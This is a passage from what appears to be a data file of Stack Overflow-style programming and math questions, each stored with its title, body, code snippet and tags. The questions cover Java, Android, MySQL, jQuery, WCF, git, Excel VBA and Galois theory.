Width=\"620px\"\n ReloadOnShow=\"true\"
ShowContentDuringLoad=\"false\" Modal=\"true\" VisibleStatusbar=\"false\"
Animation=\"Resize\" AutoSize=\"false\" Behaviors=\"Close\"/>\n
</Windows>\n </telerik:RadWindowManager> \n", "asp.net telerik
loading radwindow"], "1492084": ["How can I make IP of my Java/Java EE app more
secure?", "We have an application (say core application) build using Java/Java
EE/Spring batch. This application contains all the business logic and is packaged
into a jar file. \nNow, we have another web-application built using Spring MVC,
Hibernate. This web-application provides a UI to users to configure our core
application. This web-application uses a jar of the core-application to perform
business-tasks by referring the configuration. Now, we want to distribute these
applications as a product to various companies. But as we all know, jars/wars can
be decompiled.\nHence, what can we do to save our IP?\nCurrently we are trying
DashO (java obfuscator from Preempitve). Even after obfuscating, one can read the
code using a decompiler. Even-though, the code is much more complex to read,
business logic can be read.\nWhat are the best practises to secure our IP? What are
the various methods to make our application more secure? \nEDIT : Please note that
we have to distribute a WAR to our clients, which is the main cause of worry.\n",
"", "java spring java-ee spring-mvc obfuscation"], "3943402": ["Reading Json String
using Gson results error \"not a JSON Array\"", "In my project i have a complex
json response. I want to read it by GSon. \n\nIt contains a JSONArray with
first \"Item\" and JSONObject with second one. Hence its call results in error,\n\
nPlease help how i should handle this scenario. Thanks.\n", "JSON : {'FoodMenuRS':
{'Results':[{'Items':{'Item':[{'@Id':'24'},{'@Id':'24'}]}}, {'Items':{'Item':
{'@Id':'24'}}}]}}\n", "java javascript android json gson"], "2838547": ["Google
Chrome sync: limit for bookmarks & extensions?", "Actually, Chrome is my favorite
web-browser, and one of its most powerful features is synchronizing the actual data
into a Google account. For the last years I gained a lot of bookmarks and from time
to time browse the extensions gallery to find new valuable ones. Really,
synchronizing between my work and home PC's freed me from manual sync.\nAnd for the
recent months I experience strange glitches. I guess it may be caused by a lot of
stored bookmarks (potentially about 3K [in estimate], but please don't ask why :))
and extensions (about 130 installed but only 10-15 daily used). I can mention the
following strange things:\n\nRecently added bookmarks sometimes are not
synchronized (e.g. I put a bookmark at work, but it's not guaranteed I can see it
that evening), despite indicates a good sync process.\nSometimes recently modified
bookmarks appear in either (let's call) last at home or last at work bookmark
folders.\nSometimes bookmarks are not synced at all. (Moreover, Chromium versions
may even crash)\nExtensions are not synced now at all.\nPerhaps, there's another
reason, but Google Mail Checker and Google Reader Notifier do not show indicators
of incoming e-mails and news.\n...\n\nI'm not sure but it looks like I might exceed
Chrome internal sync limits... Is it right? Are there any workarounds, or should I
make a massive bookmarks/extensions cleanup (I really don't want it :()?\nI mostly
use Google Chrome Canary builds, and the my current one is 12.0.732.0.\nThanks in
advance.\n\nUpdate #1 (2001-04-19):\nI removed about 50 extensions that I'm not
interested in (or that I consider as trash), and gained pretty some results:\n\nThe
extensions count is below 100 (exactly 97);\nThe page does not get slow (or even
frozen) any more on enabling/disabling/uninstalling extensions;\nThe extensions are
seem to be synchronized now again.\n\n", "about:sync", "google-chrome bookmarks
google-chrome-extensions google-sync"], "436748": ["Reset primary key in mysql?",
"In my table tbphotos i had 100 recordes then i deleted all,now that i want restart
data entry i see that my primary key doesn't start from 1 , but it start from
101 ,is there any way?\n-I work in \"Mysql administrator\"\nthanks\n", "", "mysql
primary-key"], "4135030": ["Setting up SDL on Visual Studio with CMake", "My
primary IDE is Visual Studio 10.0, so MSVC is my compiler. I'm building a CMake-
based project, and need to install SDL and SDL_Mixer. What's the proper way to go
about this, so CMake recognizes I have these things installed?\nThanks!\n", "",
"visual-studio-2010 visual-c++ cmake sdl"], "1968875": ["Simplest and cheapest way
to start WPF testing", "I have a (closed source) WPF application containing mainly
two modules: A UI exe and a \"Model\" dll. One screen (for now) and about 30
classes.\nI would like to start testing it with testing tools.\nI have resharper. \
nI don't have time :). I don't want to strat learning about factories, mocking, IOC
and so on. And I don't want to disturb the code too much (re IOC etc.)\nI don't
have alota money. I saw a recommendation here for SmartBear's TestComplete and then
I saw its $2K price tag and I balked at the price: at $99 I would weep at pay, and
you can't beat free :)\nSo, my question is: \"What is the simplest and cheapest way
for me to start WPF testing, not necessarily the best colution but something that
will provide some benefit at low cost?\"\n", "", "wpf testing automated-tests"],
"5504250": ["Determine all automorphisms of $\\mathbb{Q}(\\sqrt[3]{2},\\omega)$",
"\nDetermine all automorphisms of $\\mathbb{Q}(\\sqrt[3]{2},\\omega)$\n\nHere $\\
omega$ is a complex cube root of unity.\nFrom an earlier part of the problem, I
have that the only automorphism of $\\mathbb{Q}(\\sqrt[3]{2})$ is the identity map.
I've found that $[\\mathbb{Q}(\\sqrt[3]{2},\\omega):\\mathbb{Q}]=6$. After that, I
have a bunch of very hazy notions about how to proceed. The text I'm using has
just defined Galois group and Galois extension but hasn't yet given any indication
of what they're for. (It always seems to me that peeking ahead in the book to get
a solution is only getting me to miss some more basic idea I'm supposed to be
getting).\nSo I know that an automorphism, when applied to the root of a
polynomial, will give me another root of the polynomial. I know that since $[\\
mathbb{Q}(\\sqrt[3]{2},\\omega):\\mathbb{Q}]=6$, there is a 6th degree irreducible
polynomial, a root of which will generate $\\mathbb{Q}(\\sqrt[3]{2},\\omega)$.
This polynomial, whatever it is, has 6 roots that get permuted around by the
automorphisms. \nSo 6! automorphisms? That seems a bit much. But how do I knock
it down to a reasonable number? And after that, how do I find out what they are?\
nThanks.\n", "", "homework field-theory"], "3216522": ["Mysql:Relational database ,
a How to?", "I have 2 tables.\n1st,cardb\nID,car,engine,gear\n2nd,labels\
nID,label,value\nwhat i need to do is, say for this record\n\
ncardb:1,punto,3500cc,auto\n\nif i want to display this row to users, i do:\n\nAnd
then display the labels(user friendly version of value stored in db) to user.\nmy
question is, is there a way to link the values of fields in cardb with its
corresponding in labels table without having to do 2 query ??\nExample of Cardb\n\
nID:car:engine:gear\n1:Picanto:1100cc:Auto;\n\nExample of labels\n\
nlabel:ID:Value:label\nlabel:1:1100cc:'1100 Engine capacity\n(cc)';\
nlabel:2:Manual:'Automatic transmition';\n\nGOAL seach for label of each cardb
field in labels table and show it\n", "mysql_query(Select * from cardb WHERE
ID=1);\nforeach($field as $value)SELECT label FROM labels WHERE value='$value';\n",
"php mysql database relational-database"], "1049521": ["Developing a foreground
service advice", "I want to develop a foreground service to produce sounds.
However, everything that I try only works when I'm debugging, and once I disconnect
the cable and the phone is on its own, I don't get what I want. \nWhat I want is a
service that uses CountDownTimer to execute a task every X interval, even when the
phone sleeps. \nTo do that I used the following 2 options, and each had its
disadvantages:\n1) Make a foreground service using startForeground(); Ended up with
a background service. The service just goes to sleep when the phone does, and every
once in a while the OS runs it (I can hear the sounds).\nOnce I open the phone to
its lock screen, the service becomes alive and immediately produce the sounds.\n2)
Make use of WakeLock; This works even when the phone sleeps, but now the
phone's \"go to sleep\" time-out is disabled, but I still want it on so that the
user doesn't have to press the lock button.\nCan someone please advise me on what
can I do ?\n", "", "android android-service"], "2211905": ["Difference between
admin.site.root and admin.site.urls", "In the The Django Book in chapter 6 about
the Admin Site,
they tell me to add the follwing URLpattern to urls.py:\n\nBut to make it work on
my system, I had to uncomment the following line:\n\nCan somebody enlighten me on
what the differences are?\n", "urlpatterns = patterns('',\n # ...\n
(r'^admin/', include(admin.site.urls)),\n # ...\n)\n", "django django-admin
django-urls"], "2741064": ["jQuery not showing correctly in aspx page", "I'm trying
to get this function to work in an aspx page but I'm having a rotten time.
Basically it works fine in a regular HTML page but in the aspx page, when click on
the button all you can see is a sliver of the top part and on occasion (every 5th+
single button click & every double click) the message shows and fades like it
should. What am I missing? Could it be getting tied up in the postback? \nFIDDLE
HERE\nCode using in aspx page\n\nmy code via view source for amit_g\n\n", "<%@ Page
Language=\"C#\" AutoEventWireup=\"true\" CodeBehind=\"checkTest.aspx.cs\"
Inherits=\"WebApplication2.checkTest\" %>\n\n<!DOCTYPE html PUBLIC \"-//W3C//DTD
XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-
transitional.dtd\">\n\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n<head
runat=\"server\">\n <title></title>\n <script type=\"text/javascript\"
src=\"http://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js\"></script>\n
<script type=\"text/javascript\">\n $(function () {\n $
(\"#Button1\").click(function () {\n $
(\".message\").stop(true,true).slideToggle().fadeOut(6000);\n });\n
});\n </script>\n <style type=\"text/css\">\
n .message{height:70px;display:none;}\
n .noChangesMessage{width:84px;padding:8px 8px; background:#535353; -
webkit-border-radius:5px; -moz-border-radius:5px; border-radius:5px;
color:white;text-align:center;}\n .tipEnd{width:0;height:0;border-left:10px
solid transparent;border-right:10px solid transparent;border-top:10px solid
#535353;margin:0 auto;}\n\n </style>\n</head>\n<body>\n <form id=\"form1\"
runat=\"server\">\n\n\n\n <br /><br /><br />\n <div>\n <div
style=\"width:100px\">\n <div style=\"height:70px\"> \n
<div style=\"margin-bottom:5px;\" class=\"message\">\n <div
class=\"noChangesMessage\">No changes were made!</div>\n <div
class=\"tipEnd\"></div>\n </div></div>\n <div
style=\"\">\n <asp:Button ID=\"Button1\" runat=\"server\"
Text=\"Save Changes\" />\n </div>\n </div> \n\n </div>\n\
n\n </form>\n</body>\n</html>\n", "jquery asp.net visual-studio-2010"],
"2148241": ["C++ dynamic threads", "I allocated some space, wrote some asm and
tried to start a thread at that point.\nBut I keep getting an access violation. Its
suppose to push four 0s and call the messageboxa function. But right at the area
address it gets a access violation.\nHow can I get it to run like normal code?\n\
nhere's a screen shot of the disassembly\nhttp://screensnapr.com/v/P33NsH.png\n",
"void test2()\n{\n byte* area;\n HANDLE process;\n\n area = new
byte[1024];\n\n for(int i = 0; i < 1024; i++)\n area[i] = 0;\n\n
memmove((char*)area, \"\\x6a\\x00\\x6a\\x00\\x6a\\x00\\x6a\\x00\\xE8\", 9);\n\n
*(DWORD*)&area[9] =
((DWORD)GetProcAddress(GetModuleHandle(\"User32.dll\"), \"MessageBoxA\") -
(DWORD)&area[9] - 4);\n\n memmove((char*)&area[13], \"\\x33\\xc0\\xc3\", 3);\n\n
VirtualProtect(area, 17, PAGE_EXECUTE_READWRITE, 0);\n\n CreateThread(0, 0,
(LPTHREAD_START_ROUTINE)area, 0, 0, 0);\n}\n", "c++ windows winapi assembly access-
violation"], "3289728": ["open an activity to edit contact in sync adapter", "In
the Android SampleSyncAdapter there is the following piece of code:\n\nI added this
as filter for my activity\n\nwhere SampleSyncAdapterColumns.MIME_PROFILE =
vnd.android.cursor.item/vnd.myapp.profile\nI added a contact and I can see the
entry but when I click on it nothing happens. What should I do to start an activity
when the user clicks on it?\nI was trying to do what is suggested Here for Pre-
honeycomb devices: The trick is to insert a data row, \"Edit in MyApp\", which
would take the user to your app and your app \nwould then provide an editor
activity\n", "/**\n * Adds a profile action\n *\n * @param userId the userId of the
sample SyncAdapter user object\n * @return instance of ContactOperations\n */\
npublic ContactOperations addProfileAction(long userId) {\n mValues.clear();\n
if (userId != 0) {\n mValues.put(SampleSyncAdapterColumns.DATA_PID,
userId);\n mValues.put(SampleSyncAdapterColumns.DATA_SUMMARY, mContext\n
.getString(R.string.syncadapter_profile_action));\n
mValues.put(SampleSyncAdapterColumns.DATA_DETAIL, mContext\
n .getString(R.string.view_profile));\n
mValues.put(Data.MIMETYPE, SampleSyncAdapterColumns.MIME_PROFILE);\n
addInsertOp();\n }\n return this;\n}\n", "android action profile android-
syncadapter"], "5070399": ["Facebook authentication error - The operation couldn\
u2019t be completed", "I have an option in my game for users to post an achievement
to their wall. If they are logged in, i.e. their token is still active, it works
fine. However, if they need to renew their token, the app exits and the Facebook
authentication page loads for a second before returning to the app (they only need
to click OK on the authentication page if they have actively logged out, otherwise
it happens automatically). \nThe problem is that if this happens, when the game
returns, the request fails. But since they're now logged in, if they were to press
the 'share to wall' button a second time, it works fine. The error message output
by the failed request it: \n\nI'm not sure why I'm getting an OAuthException when
I've just successfully authorised it? \nThanks for any help! \n", " DIDLOGIN\
n2012-02-21 12:01:33.502[18153:15803] Response received\n2012-02-21
12:01:33.502[18153:15803] Request did load raw response\n2012-02-21
12:01:33.502[18153:15803] Request failed, error: Error Domain=facebookErrDomain
Code=10000 \"The operation couldn\u2019t be completed. (facebookErrDomain error
10000.)\" UserInfo=0x9992010 {error=<CFBasicHash 0x99785e0 [0x2093b38]>{type =
mutable dict, count = 3,\nentries =>\n 2 : <CFString 0x9963370
[0x2093b38]>{contents = \"type\"} = <CFString 0x99952a0 [0x2093b38]>{contents
= \"OAuthException\"}\n 3 : <CFString 0x99631e0 [0x2093b38]>{contents
= \"message\"} = <CFString 0x997e5b0 [0x2093b38]>{contents = \"An active access
token must be used to query information about the current user.\"}\n 6 :
<CFString 0x998c370 [0x2093b38]>{contents = \"code\"} = 2500\n}\n}\n", "iphone
objective-c facebook-graph-api oauth access-token"], "1804330": ["How to define
column as datatype of double in MDX?", "I'm new to MDX and analysis services so
bear with me. When I run the following MDX query the resulting values come back as
doubles for Column A-I however the column metadata is showing the datatype as being
of type object when is should be double. How do I force it to recognise the
datatype to be double, can I even do that? I'm not sure how it's inferring that it
is of type object.\n\nThanks in advance\n", "WITH\n MEMBER [Column (A)] AS
[Measures].[ColumnA]\n MEMBER [Column (B)] AS [Measures].[ColumnB]\n
MEMBER [Column (C)] AS [Measures].[ColumnC]\n MEMBER [Column (D)] AS
[Measures].[ColumnD]\n MEMBER [Column (E)] AS [Measures].[ColumnE]\n
MEMBER [Column (F)] AS [Measures].[ColumnF]\n MEMBER [Column (G)] AS
[Measures].[ColumnB] - [Measures].[ColumnA]\n MEMBER [Column (H)] AS
[Measures].[ColumnD] - [Measures].[ColumnC]\n MEMBER [Column (I)] AS
[Measures].[ColumnF] - [Measures].[ColumnE]\n SELECT \n NON EMPTY\n
{\n Column (A),\n Column (B),\n Column (C),\n
Column (D),\n Column (E),\n Column (F),\n Column
(G),\n Column (H),\n Column (I)\n } ON COLUMNS,\n
NON EMPTY\n CROSSJOIN(\n CROSSJOIN([T].[TB].[TB],\n\n
[T].[TT].[TT]),\n\n [T].[TR].[TR]) \n ON ROWS\n
FROM RePro \n WHERE \n (\n [RS].[RS].[EOD],\n
[RD].[RD].[DATE],\n [P].[P].[ABCD]\n )\n CELL
PROPERTIES VALUE\n", "ssas mdx"], "2406306": ["Android Inter-app relations", "While
there are questions relevant to mine, none are quite answering them to the extent
of what I was looking for. First off, is it possible to have a downloadable
Android app that \"runs on top of another app\" that is, it emulates a pre-defined
user input and doesn't have a traditional \"gui.\" For example, (hypothetically)
if I had an app that plays videos but is set to auto turn off the screen every 10
seconds, I would want an onTouch event every few seconds in order to prevent this.
Nothing complicated, just touches, maybe a few swipes, and the other events that go
along with them. \nSecondly, if this is not a valid way to create an app \"with no
interface, just a pre-defined script, is there any other way that I
could \"inject\" on-touch events into an app that isn't open-source?\nEDIT:\nTo be
more specific, I'm looking at making a \"quick\" app helper, a sort of program that
when activated, runs a pre-defined set of instructions that emulate user input at
very high speed, so, think of an app that performs some activity (like swiping from
object A to object B) and back REALLY fast. I'm also already looking at speed
thresholds on different android devices to find a common (maximum) one that would
work for all devices. \n", "", "android gui user apps emulation"], "4171927":
["Conceptual
overview of WCF security model?", "I'm working with WCF at the moment and
attempting to implement a custom security model based around an API key and
signature (similar to how Facebook/Flickr/OAuth etc. work).\nThere are a while
bunch of classes like ServiceAuthorizationManager, SecurityToken,
SecurityTokenValidator, IAuthorizationPolicy and so on, but I can't seem to find
any documentation about how these work together or what the conceptual security
model is for WCF.\nI'm really looking for something that details how these classes
fit and work together, so I can understand where to extract credentials, where to
validate they are correct, where to decide what level of access to give them and so
on. If there is a book I can buy about this stuff it would be even better, as all
the WCF books I have found skip over all this stuff entirely.\nIs there any
documentation out there?\n", "", "wcf security authentication authorization api-
key"], "5100365": ["Superfish sub menus display before page is finished loading",
"Anyone know why this is happening? Whenever you go to a page on the site the sub
menus appear briefly and then disappear when the page is done loading. I'd like to
stop that from happening. Here's the url.. http://epsia.marketspacecom.com/\nI'm
guessing there's an issue with my CSS but I can't seem to pinpoint where the
problem is :(\n", "", "jquery css drupal-7 superfish"], "2955543": ["jquery
datepicker range (mindate maxdate) is not working", "I'm trying to set a range for
a jquery datepicker that I have on my form but when I open the form it allows me to
select any date.\n\n", " <input class=\"span2 datepicker\"
name=\"tw#local#changeRequest#DeliveryDate\" type=\"text\" id=\"dp1\">\n\n\n <!--
jQuery -->\n <script type=\"text/javascript\"
src=\"<#=tw.system.model.findManagedFileByPath('jquery-1.7.2.min.js',
TWManagedFile.Types.Web).url;#>\"></script>\n\n <!-- Datepicker Script -->\n
<script type=\"text/javascript\"
src=\"<#=tw.system.model.findManagedFileByPath('bootstrap-datepicker_new.js',
TWManagedFile.Types.Web).url;#>\"></script>\n\n <script type=\"text/javascript\">\n
$(document).ready(function(){\n\n $( \"#datepicker\" ).datepicker({ minDate: -20,
maxDate: \"+1M +10D\" });\n\n });\n </script>\n", "jquery datepicker range maxdate
mindate"], "3520553": ["Web app to client interaction?", "I am designing a web app
that has some information that needs to be transferred to a client side (non-
browser) application (i.e. Outlook). Assuming the client side app has an API of
some sort, I need for the web app to trigger the client side (based on a user
clicking a link) to get the information and transfer it into the client app through
it's API.\nMy first thought would be to write an ActiveX control that I can pass a
secure code to that then uses that information to talk back to the web app through
a web service I create and then the ActiveX control can implement the interface
into the client side app (i.e. Outlook). Based on what I have read, this is doable
with ActiveX.\nMy problem is that ActiveX won't work in Mozilla browsers or Chrome
which poses a real problem as I need this to be multi-platform. I've read about
NPAPI which is supposedly the equivelent native technology. I also read about
plug-ins for Firefox and Chrome that supposedly support ActiveX, but they aren't
native. I need to have native out of the box support so that users don't have to
do anything special, just click and run. So here are my questions:\n1) Is ActiveX
my only option for IE?\n2) Do I need to develop ActiveX and NPAPI to support all
clients?\n3) Is there a better way to do this that I am not aware of? I am open to
other technologies since the focus is on a seamless user experience.\nThanks for
any insight!\n", "", "architecture activex cross-browser npapi"], "4423794": ["Add
TextView programatically to Listview custom row", "I want to add one TextView
programatically to a Linearlayout declared in the XML file that defines a custom
row which is applied to all listview rows.\nIn order to do this I have the
following code:\n\nHowever the TextView appears more than one time in every row.\
nWhat am I doing wrong? Thanks\n", "<LinearLayout\n android:id=\"@+id/zv\"\n
android:layout_width=\"wrap_content\"\n android:layout_height=\"wrap_content\"\n
android:layout_alignTop=\"@+id/title\"\n android:layout_marginBottom=\"1dip\"\n
android:layout_marginLeft=\"5dip\"\n android:layout_marginRight=\"5dip\"\n
android:orientation=\"vertical\"\n android:padding=\"1dip\" >\n</LinearLayout>\
n\nclass ListViewAdapter extends BaseAdapter {\n\n(...)\npublic View getView(int
position, View convertView, ViewGroup parent) {\n View vi=convertView;\n
if (convertView == null)\n vi = inflater.inflate(R.layout.row, null);\n\
n TextView tv_nz = new TextView(activity.getApplicationContext());\n\n
LinearLayout zv = (LinearLayout)vi.findViewById(R.id.zv);\n\n
tv_nz.setText(\"testing...\");\n zv.addView(tv_nz);\n(...)\n\nreturn vi;\n}\
n", "android android-listview android-linearlayout android-textview baseadapter"],
"2741244": ["Encode HD video to a good format for editing", "I have a video that I
would like to edit, but it's currently a mov (H.264) file, which makes frame by
frame editing impossible. So, I'd like to re-encode it to a better format. I read
that DV is a good format for frame by frame editing, but when I've tried to do so I
find that I lose resolution. My video is 1280x720, but the DV video comes out at
only 720x480.\nI've been playing with mencoder, ffmpeg, and winff on a Windows
machine. So many of the command line arguments are over my head! I just want to
preserve the settings from the original and get out a high quality video that is
good for editing frame by frame. Can you point me to the right codec (and how to
install it), the best tool, and the command line arguments to use?\nThis worked
great for AVI:\n\nWhat do I need for HD and editable? Something like this?\n\n",
"mencoder -oac pcm -ovc x264 -o myvid.avi myvid.mov\n", "windows-7 video encoding
ffmpeg mencoder"], "1996295": ["Asymptotics of terms and errors in Stirling's
Approximation", "I have two related questions. Both are related to the asymptotics
of Stirling's approximation, which is why I have included them in the same
question. I will separate the questions if it is deemed necessary.\nConsider
Stirling's approximation.\n$$n! = \\sqrt{2 \\pi n} \\left( \\frac{n}{e} \\
right)^n \\left( 1 + O \\left(\\frac{1}{n} \\right)\\right)$$\n$$\\lim_{n \\
rightarrow \\infty} \\frac{n!}{\\sqrt{2 \\pi n} \\left( \\frac{n}{e} \\right)^n} =
1$$\nThe exact terms of the expression are more precisely described by Stirling's
series. Unfortunately the series is not convergent so at some point, for each
particular $n$ there is a term $a_{f(n)}$ of the expansion at which point summing
terms increases the magnitude of relative error.\n$f : \\mathbb{N}^+ \\
rightarrow \\mathbb{N}$ and for $n$ in the domain, $f(n)$ is defined as rank at
which the magnitude of the terms in the asymptotic expansion of the ratio $\\
frac{n!}{\\sqrt{2 \\pi n} \\left( \\frac{n}{e} \\right)^n + \\frac{1}{12n} + ...}$
begins to increase.\nMy first question is what is known about $f(n)$? I believe it
is known that $f(n)$ is monotonically increasing. Do we know the asymptotic growth
of $f(n)$? If so, is there a known simple closed form expression for $f(n)$?\nMy
second question has to do with error rates of Stirling's approximation and it
depends on the first question having been resolved. Of course it is known that in
the limit the relative error of approximating the factorial of $n$ approaches $0$.
However, if one were to be interested in precisely how quickly the series well
approximates the function, simple convergence in the limit is not enough. I would
like to know the rate of convergence for the sequence $g(n) = \\sum\\
limits_{i=0}^{f(n)} {a_i}$ in approximating $n!$. (Here $a_i$ are terms of the
Stirling series).\n", "", "sequences-and-series asymptotics gamma-function
factorial"], "5295139": ["Database design for handling individual and recurring
charges", "We have a billing system where we process individual charges as well as
recurring charges (subscriptions).\nThere are two SQL tables:\n\nStandardCharges
table holds individual items purchased by customers during the month.\
nRecurringCharges table holds recurring items with a charge by date. When the time
comes our system automatically creates a recur request which adds a row to the
StandardCharges table and increases the charge by date to next month in
RecurringCharges table.\nAt the end of each month we get the total values for each
customer from StandardCharges table and create an invoice.\nIs there a kind of
design pattern or another way of doing this? Is this the right database design?
Ideally I would like to hold all charges in one table and manage recurring charges
from there as well?\nThanks\n", "StandardCharges\nRecurringCharges\n", "c# sql
design-patterns database-design sql-server-2008-r2"], "627688": ["Recover dropped
stash in git", "I frequently use \"git stash\" and \"git stash pop\" to save and
restore changes in my working tree. Yesterday I had some changes in my working tree
that I had stashed and popped, and then I made more changes to my working tree. I'd
like to go back and review yesterday's stashed changes, but \"git stash pop\"
appears to remove all references to the associated commit.\nI know that if I
use \"git stash\" then .git/refs/stash contains the reference of the commit used to
create the stash. And .git/logs/refs/stash contains the whole stash. But those
references are gone after \"git stash pop\". I know that the commit is still in my
repository somewhere, but I don't know what it was.\nIs there an easy way to
recover yesterday's stash commit reference?\nNote
that this isn't critical for me today because I have daily backups and can go back
to yesterday's working tree to get my changes. I'm asking because there must be an
easier way!\n", "", "git git-stash"], "4033076": ["Singularity analysis of integer
power of logarithm ($\\log^\\beta (1-z)^{-1}$)", "This is a theorem of Flajolet and
Odlyzko (I think):\nLet $f(z)$ be a function analytic in a domain \n$$D = \\{z : |
z| \\leq s_1, |\\text{Arg}(z-s)| > \\frac{\\pi}{2} - \\eta \\},$$\nwhere $s, s_1 >
s,$ and $\\eta$ are three positive real numbers. Assume that, with $ \\sigma(u) =
u^\\alpha \\log^\\beta u$ and $\\alpha \\notin \\{0, -1, -2, \\dots \\}$, we have\
n$$ f(z) \\sim \\sigma \\left( \\frac{1}{1-z/s} \\right) \\qquad \\text{ as } z \\
rightarrow s \\text{ in } D.$$\nThen, the Taylor coefficients of $f(z)$ satisfy\n$$
[z^n]f(z) \\sim s^{-n} \\frac{\\sigma(n)}{n \\Gamma(\\alpha)}.$$\nMy question is
whether, with the same premise, except that $\\alpha = 0, \\beta \\in \\{1, 2,
3, \\dots\\}$, we have\n$$[z^n]f(z) \\sim \\beta s^{-n} n^{-1} \\log^{\\beta-1} n.$
$\n", "", "combinatorics complex-analysis asymptotics"], "1077526": ["How to use
rayTestSingle having absolut coordinates of mesh triangles and ray start/end?", "I
have created a simple (from a triMesh made from one triangle):\n\nI have
created \n\nHow can I perform a on my having my ray Start and End and no
Transformations applired?\nMeanwhile I tried rayccast on whole world (that I
actually do not need) but it seems I do it wrong =( as I see no :\n\n",
"btCollisionShape", "c++ collision-detection bullet raycasting"], "4764985":
["NSButton inside tableCellView: how to use the \"action invocation\" for a View
Based NSTableView/NSArrayController", "For a View Based
NSTableView/NSarrayController: how would I use the \"action invocation\" from a
NSButton inside a tableCellView to change an attribute for an entity?\nI have the
following setup:\n\nA \"View Based\" NSTableview with one column.\nA
NSarrayController which uses \"entity mode\" and is bound to core data entity.\n\n\
nI would like to use the action invocation from the push button to update the
entity. For example to set a \"bool\" attribute to true.\nIf I simply use
the \"model key path\" and set it to objectValue.escaped the button is disabled.\
n", "", "cocoa core-data interface-builder nstableview nsarraycontroller"],
"4177344": ["How to stop TFS from getting code During a Build?", "I am using TFS
2010. I want some task to happen on a Solution that has already been built. I DO
NOT want to \"get\" any code, just leave what is there. Is there anyway in my
workflow, or anything else, to prevent TFS from getting any code?\n", "", "tfs get
workflow tfsbuild"], "5025999": ["Are multiple WeakReferences to the same object
always in sync?", "If there are more than one WeakReference pointing to the same
object, will they always be cleared at the same time, or may they be out of sync. A
small example to illustrate:\n\nP.S. The above snipped runs fine (the assert is not
triggered). Also the questions is really (at least) two separate issues:\n\nAre
they cleared approximately at the same time (not thread safe)?\nAre they cleared in
a thread safe manner?\n\n", "var o = new Object();\nvar weak1 = new
WeakReference(o);\nvar weak2 = new WeakReference(o);\n\nfor (int i = 0; i < 10000;
i++) {\n GC.Collect();\n Debug.Assert(weak1.IsAlive == weak2.IsAlive);\n}\n",
"c# .net multithreading garbage-collection"], "4431786": ["To get International
Dvorak for Snow Leopard", "How can you have International Dvorak for Snow Leopard?\
nI need A with dots dot O with dots for Dvorak.\nOS X has four types of Dvoraks,
but none of them is Dvorak International like in Debian and many other Linux and
BSD distros.\n", "", "osx keyboard dvorak international"], "3919786": ["Setting up
VPN on a router", "I noticed most new routers have a \"VPN\" section and all the
fields to set it up seem to be pretty much the same. These are store-bought
routers, not commercial grade that are racked or anything.\nI have to connect to
two networks that use vpn - one is sonicwall and the other cisco. I've used the
Sonicwall VPN client and the Cisco VPN clients to connect to those networks
respectively, but I was wondering if (and how) i could setup a router to be perma
connected to a network that has sonicwall or cisco (having a router for each
seperate network/vpn is fine).\nThe settings in the VPN client don't seem to be the
same as the ones my router is asking for... Has anyone been able to do this?\n",
"", "vpn router"], "937558": ["What's the best way to install a system-wide
certificate from a website?", "I want to use the Cisco Easy VPN to connect to the
OpSource cloud machines. When I open the app, it directly shows a certificate error
message, I suspect that the certificate is not trusted from their domain because I
tried it on a Windows machine and I had to add an exception for it.\nI am using
Fedora 15 and I want to make the certificate to this domain accepted system-wide,
The only way to get the certificate will be by accessing it through the browser and
exporting the certificate from Firefox for example.\nHow could I install this
certificate, and is there a better way to obtain it other than exporting it from
the browser?\n", "", "authentication vpn"], "6009530": ["Execute code after
Glassfish Web Deployment", "I'm trying to run a java web service on Glassfish.
There is some initialization code that sets a few variables and retrieves some
information from the Glassfish environment itself.\nI have that code in a static
initializer inside the @WebService class, however this code appears to be called
too early, it gets run as soon as the WebService endpoint is deployed, whereas I
need it to run once the whole web service is successfully deployed.\nI tried moving
the code into the constructor of the WebService class, however then that code was
only run when I went into the Tester web page and sent some data to make the web
methods run.\nIs there any way to set up some initialization code to be run as soon
as the whole web service deployment is completed?\n", "", "java web-services
deployment glassfish web-deployment"], "611607": ["Runtime error on Partial
refresh", "I need to do a partial refresh of multiple components as found here:\
nhttp://xpageswiki.com/web/youatnotes/wiki-xpages.nsf/dx/Work_with_events_and_parti
al_or_full_refresh\nSo I figured I would start small with just one component and
placed the code:\n\nIn the on client side click event of a radio button group.
When the page is displayed, I get:\n\nAny idea what I am doing wrong?\n",
"XSP.partialRefreshPost(\"#{txtProductType}\");\n", "xpages"], "2826817": ["How to
learn the .NET Framework", "Considering the fact that .net is a massive collection
of classes, structs, interfaces, methods etc what would be the correct and
appropriate approach to get started with and understand the fundamentals of the
framework. \nBearing in mind the two facts that there is no substitute for
experience and that there is no limit to learning.\nMany Thanks.\n", "", ".net"],
"75229": ["How do I do \"starts with\" regex filter in phpunit", "I tried this\n\
nFor some reason it says 0 tests. \nIf I do it hits any function with the
word \"complete\"\n", "phpunit --debug --filter /^complete/ feed.php;", "regex
phpunit"], "3520551": ["macro based on conditonally formatted cells", "I have a
sheet that is conditionally formatted for certain cells to turn red if specific
conditions are met. I would like to write a macro that would have an input box with
a password come up if any of the cells on the sheet turn red due to the conditional
formatting. Any help on this would be much appreciated!\nTo elaborate on this I
currently have this code:\n\nThis code works for the columns specified but my
worksheet is much larger and each range needs to actually be around 300 different
columns. For example, the first criteria that applies to column W also needs to
apply to every 9th column after that one for the rest of the sheet. And the same
thing for the other two criterion. This is why I thought that having the macro run
whenever a cell changed to red based on the conditional formatting of the sheet
would be easier. I am not sure how to apply either of these though. Any help or
suggestions anyone has would be great!\n", "Private Sub Worksheet_Change(ByVal
Target As Range)\nIf Target.Columns(W) < 8 Or Target.Columns(V) > 6 Or
Target.Columns(U) > 15 Then\nPassword = InputBox(\"Input does not conform with
overtime rules, enter password to continue.\", \"Password\", \"********\")\nIf
Password = \"password\" Then\nExit Sub\nElse\n MsgBox \"Incorrect password,
please obtain authorization to continue\"\n Target.Rows.ClearContents\n Exit
Sub\n\nEnd If\nEnd If\nEnd Sub\n", "excel conditional-formatting"], "2769067":
["nginx redirecting to localhost", "I'm sort of a noob at this and I'm just
switching into nginx so I apologize for the noob question.\nI have installed nginx
and when I go to the root directory of its web folder I can get the index file. But
